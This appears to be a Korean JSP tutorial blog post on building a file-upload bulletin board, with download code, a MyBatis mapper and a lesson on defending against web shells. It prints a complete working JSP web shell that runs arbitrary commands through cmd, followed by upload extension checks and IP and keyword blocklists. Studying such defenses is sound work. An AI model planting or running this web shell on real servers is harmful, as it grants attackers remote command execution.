[동영상강좌] 보아스 - Jsp25_게시판 만들기(파일업로드,
게시물 목록, 글쓰기), Clob 데이터 -Ojbc7
파일 다운로드
한글 파일 이름 인코딩 Charset 소스 코드 CharsetDetector
BoardController
if(url.indexOf("download.do")!=-1){
//게시물 번호
int num=Integer.parseInt(request.getParameter("num"));
//게시물 번호에 해당하는 첨부파일 이름 조회
String filename=dao.getFileName(num);
//서버의 파일을 읽어서 클라이언트로 복사
String path =Constant.uplLoadPath(request)+File.separator+filename;
//서버에 있는 파일 읽어오기
byte b[] =new byte[4096];//바이트 배열
FileInputStream fis=new FileInputStream(path);
//마임타입(파일의 종료)
String mimeType
=getServletContext().getMimeType(path);
if(mimeType==null){
mimeType
="application/octet-stream;charset=utf-8";
}
//<한글 깨짐 설정>
//첨부파일에 특수문자, 한글이 포함될 경우의 처리
//스트링.getBytes("문자셋") 스트링을 바이트 배열로 변환
//new String(바이트배열, "문자셋") 바이트배열을 스틍링으로
//8859_1 (iso-8859-1 서유럽언어 문자셋)
//1. 간단한 방법 그러나 근본적인 해결책이 아니다.
//filename=new String(filename.getBytes("utf-8"), "8859_1");
//
//2. 파일의 인코딩을 검사해서 지정
//http://blog.kjslab.com/5
CharsetDetector cd =new CharsetDetector();
File file=new File(path);
Charset charset=cd.detectCharset(file);
filename=new String(filename.getBytes(charset), "8859_1");
//헤더 구성(첨부파일의 정보)
response.setHeader("Content-Disposition",
"attachment;filename="+filename);
//파일 출력
ServletOutputStream out=
response.getOutputStream();
//파일 가져오기 및 출력 작업
int numRead;
while(true){
//서버에서 읽음
numRead=fis.read(b, 0, b.length);
//더 이상 읽을 내용이 없으면
if(numRead==-1)break;
//클라이언트로 복사
out.write(b,0, numRead);
}
//리소스 정리
out.flush();
out.close();
fis.close();
//다운로드 횟수 증가 처리
dao.plusDown(num);
//Cannot call sendRedirect() after
//the response has been committed
// response.sendRedirect(contextPath
// +"/board_servlet/list.do");
list.jsp
<c:forEach var="dto" items="${list}">
<tr>
<td>${dto.num}</td>
<td>${dto.writer}</td>
<td>${dto.subject }</td>
<td>${dto.reg_date}</td>
<td>${dto.readcount}</td>
<td>
<!-- 파일 크기가 0보다 크면 아이콘 표시 -->
<c:if test="${dto.filesize >0 }">
<a href="${path}/board_servlet/download.do?num=${dto.num}">
<img src="http://download.seaicons.com/icons/zhoolego/material/512/Filetype-Docs-icon.png" width="50px" height="50px"></a>
<br>
${dto.filename }
</c:if>
</td>
<td>${dto.down }</td>
</tr>
</c:forEach>
//다운로드 횟수 증가 처리
BoardDAO
//다운로드 횟수 증가 처리
public void plusDown(int num){
SqlSession session=null;
try{
session=
MybatisManager.getInstance().openSession();
session.update("board.plusDown", num);
session.commit();
}catch(Exception e){
e.printStackTrace();
}finally{
if(session!=null)session.close();
}
}
board.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE mapper
PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<!-- memo.xml -->
<!-- 저장 프로시저 호출 방법 { call 프로시저이름(매개변수) } -->
<mapper namespace="board">
<!-- 네임스페이스 id는 중복이 될 수 없음 -->
<select id="list" resultType="board.dto.BoardDTO">
select
num, writer, subject, reg_date, readcount , filename, filesize,
down, ref, re_step, re_level
from BOARD
order by num desc
</select>
<!-- <insert id="insert" >
insert into board (NUM, WRITER, SUBJECT, PASSWD, REF, RE_STEP,
RE_LEVEL, CONTENT, IP)
VALUES ((select nvl(max(num)+1, 1) from board)
, 'kim', '제목', '1234',
(select nvl(max(num)+1, 1) from board)
, 1, 0, '내용', '127.0.0.1')
</insert> -->
<insert id="insert">
insert into board (NUM, WRITER, SUBJECT, PASSWD, REF, RE_STEP,
RE_LEVEL, CONTENT, IP, filename, filesize)
VALUES (
(select nvl(max(num)+1, 1) from board), #{writer},
#{subject}, #{passwd},
(select nvl(max(num)+1, 1) from board)
, 1 , 0, #{content}, #{ip} ,#{filename}, #{filesize}
)
</insert>
<select id="getFileName" resultType="String">
select filename from board
where num =#{num}
</select>
<update id="plusDown">
update board set down=down+1 where num=#{num}
</update>
</mapper>
web shell 공격 방어
공격용 소스 - webshell.jsp
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="java.io.*"%>
<%
String execute = request.getParameter("execute");
if (execute == null)
execute = "";
%>
<html>
<head>
<title>WebShell</title>
<script>
function send() {
document.main.submit();
}
</script>
</head>
<body>
<br>
<form method="post" name="main" action="webshell.jsp">
<table style="width:400px" border="1" >
<tr bgcolor="#F7FCFE">
<td height="22" align="center" width="70">명령어</td>
<td height="22" align="center" align="left"><input type="text"
name="execute" size="30" value="<%=execute%>"> <input
type="button" value="실행" onClick="javascript:send();"></td>
</tr>
</table>
</form>
<hr>
<%
if (!execute.equals("")) {
BufferedReader br = null;
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec("cmd /c "+execute);
br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
out.println(line + "<br>");
}
br.close();
proc.destroy();
}
%>
</body>
</html>
C ����̺��� ����: Windows ���� �Ϸ� ��ȣ: 986A-29B4 C:\Users\choi\Desktop\eclipse-neon-64 ���� 2017-05-28 ���� 12:36 . .. configuration dropins features features-�ѱ� p2 plugins plugins-�ѱ� plugins-�ѱ� ī�� readme
|
방어
JAVA 보안 개발 가이드 2 - 18. 무제한 파일 업로드
//첨부파일의 확장자 검사
int start=filename.lastIndexOf(".")+1;
String ext=filename.substring(start, filename.length());
if(ext.equals("jsp")||ext.equals("exe")
|| ext.equals("php")
){
f1.delete();//업로드된 파일을 삭제함
response.sendRedirect(contextPath
+"/board/write.jsp?message=error");
return;
}
첨부파일의 확장자 검사
if(url.indexOf("insert.do")!=-1){
//파일업로드 처리
File uploadDir=new File(Constant.uplLoadPath(request));
if(!uploadDir.exists()){
uploadDir.mkdirs();
}
//request, 업로드 경로, 업로드 제한 용량, 문자셋, 중복파일
MultipartRequest multi=
new MultipartRequest(
request,
Constant.uplLoadPath(request),
Constant.MAX_UPLOAD,
"utf-8",
new DefaultFileRenamePolicy() );
String filename="";
int filesize=0;
try{
//첨부파일 집합
Enumeration files =multi.getFileNames();
while(files.hasMoreElements()){//다음 요소가 있으면
String file1=(String)files.nextElement();
//첨부파일의 이름
filename=multi.getOriginalFileName(file1);
File f1=multi.getFile(file1);
if(f1!=null){
filesize=(int)f1.length();//파일크기
}
//첨부파일의 확장자 검사
int start=filename.lastIndexOf(".")+1;
String ext=filename.substring(start, filename.length());
if(ext.equals("jsp")||ext.equals("exe")
|| ext.equals("php")
){
f1.delete();//업로드된 파일을 삭제함
response.sendRedirect(contextPath
+"/board/write.jsp?message=error");
return;
}
}
}catch(Exception e){
e.printStackTrace();
}
//폼에서 입력한 값들
String writer=multi.getParameter("writer");
String subject=multi.getParameter("subject");
String content=multi.getParameter("content");
String passwd=multi.getParameter("passwd");
String ip=request.getRemoteAddr();//ip 주소
//ip 차단
String[] bad_ips={"192.168.0.50", "192.168.0.60", "192.168.0.2" };
for(String str : bad_ips){
if(ip.equals(str)){
response.sendRedirect(contextPath
+"/board/write.jsp?message=bad");
return;
}
}
BoardDTO dto=new BoardDTO();
dto.setWriter(writer);
dto.setSubject(subject);
dto.setContent(content);
dto.setPasswd(passwd);
dto.setIp(ip);
dto.setFilename(filename);
dto.setFilesize(filesize);
//테이블에 저장
System.out.println(dto.toString());
dao.insert(dto);
//목록으로 이동
String page=contextPath+"/board_servlet/list.do";
response.sendRedirect(page);
자바스크립트
$("#btnSave").click(function(){
//첨부파일의 확장자 검사
var filename=document.form1.file1.value; //파일이름
//aaa.bbb.ccc.jsp
var start=filename.lastIndexOf(".")+1;
if(start !=-1){
var ext
= filename.substring(start, filename.length);
if(ext=="jsp" || ext=="exe"){
alert("업로드할 수 없는 파일입니다.");
return;
}
}
document.form1.submit();
});
//악성 키워드 변환
public void insert(BoardDTO dto){
SqlSession session=null;
try{
session
=MybatisManager.getInstance().openSession();
//악성 키워드 변환
String[] bad_words={"대출", "저리", "광고" };
for(String str : bad_words){
if(dto.getSubject().indexOf(str)!=-1){
String subject=dto.getSubject();
subject=subject.replace(str, "변경된 단어");
dto.setSubject(subject);
}
}
session.insert("board.insert", dto);
session.commit();
}catch(Exception e){
e.printStackTrace();
}finally{
if(session !=null) session.close();
}
}
ip 차단
BoardController
//ip 차단
String[] bad_ips={"192.168.0.50", "192.168.0.60", "192.168.0.2" };
for(String str : bad_ips){
if(ip.equals(str)){
response.sendRedirect(contextPath
+"/board/write.jsp?message=bad");
return;
}
}
if(url.indexOf("insert.do")!=-1){
//파일업로드 처리
File uploadDir=new File(Constant.uplLoadPath(request));
if(!uploadDir.exists()){
uploadDir.mkdirs();
}
//request, 업로드 경로, 업로드 제한 용량, 문자셋, 중복파일
MultipartRequest multi=
new MultipartRequest(
request,
Constant.uplLoadPath(request),
Constant.MAX_UPLOAD,
"utf-8",
new DefaultFileRenamePolicy() );
String filename="";
int filesize=0;
try{
//첨부파일 집합
Enumeration files =multi.getFileNames();
while(files.hasMoreElements()){//다음 요소가 있으면
String file1=(String)files.nextElement();
//첨부파일의 이름
filename=multi.getOriginalFileName(file1);
File f1=multi.getFile(file1);
if(f1!=null){
filesize=(int)f1.length();//파일크기
}
//첨부파일의 확장자 검사
int start=filename.lastIndexOf(".")+1;
String ext=filename.substring(start, filename.length());
if(ext.equals("jsp")||ext.equals("exe")
|| ext.equals("php")
){
f1.delete();//업로드된 파일을 삭제함
response.sendRedirect(contextPath
+"/board/write.jsp?message=error");
return;
}
}
}catch(Exception e){
e.printStackTrace();
}
//폼에서 입력한 값들
String writer=multi.getParameter("writer");
String subject=multi.getParameter("subject");
String content=multi.getParameter("content");
String passwd=multi.getParameter("passwd");
String ip=request.getRemoteAddr();//ip 주소
//ip 차단
String[] bad_ips={"192.168.0.50", "192.168.0.60", "192.168.0.2" };
for(String str : bad_ips){
if(ip.equals(str)){
response.sendRedirect(contextPath
+"/board/write.jsp?message=bad");
return;
}
}
BoardDTO dto=new BoardDTO();
dto.setWriter(writer);
dto.setSubject(subject);
dto.setContent(content);
dto.setPasswd(passwd);
dto.setIp(ip);
dto.setFilename(filename);
dto.setFilesize(filesize);
//테이블에 저장
System.out.println(dto.toString());
dao.insert(dto);
//목록으로 이동
String page=contextPath+"/board_servlet/list.do";
response.sendRedirect(page);
댓글 ( 4)
댓글 남기기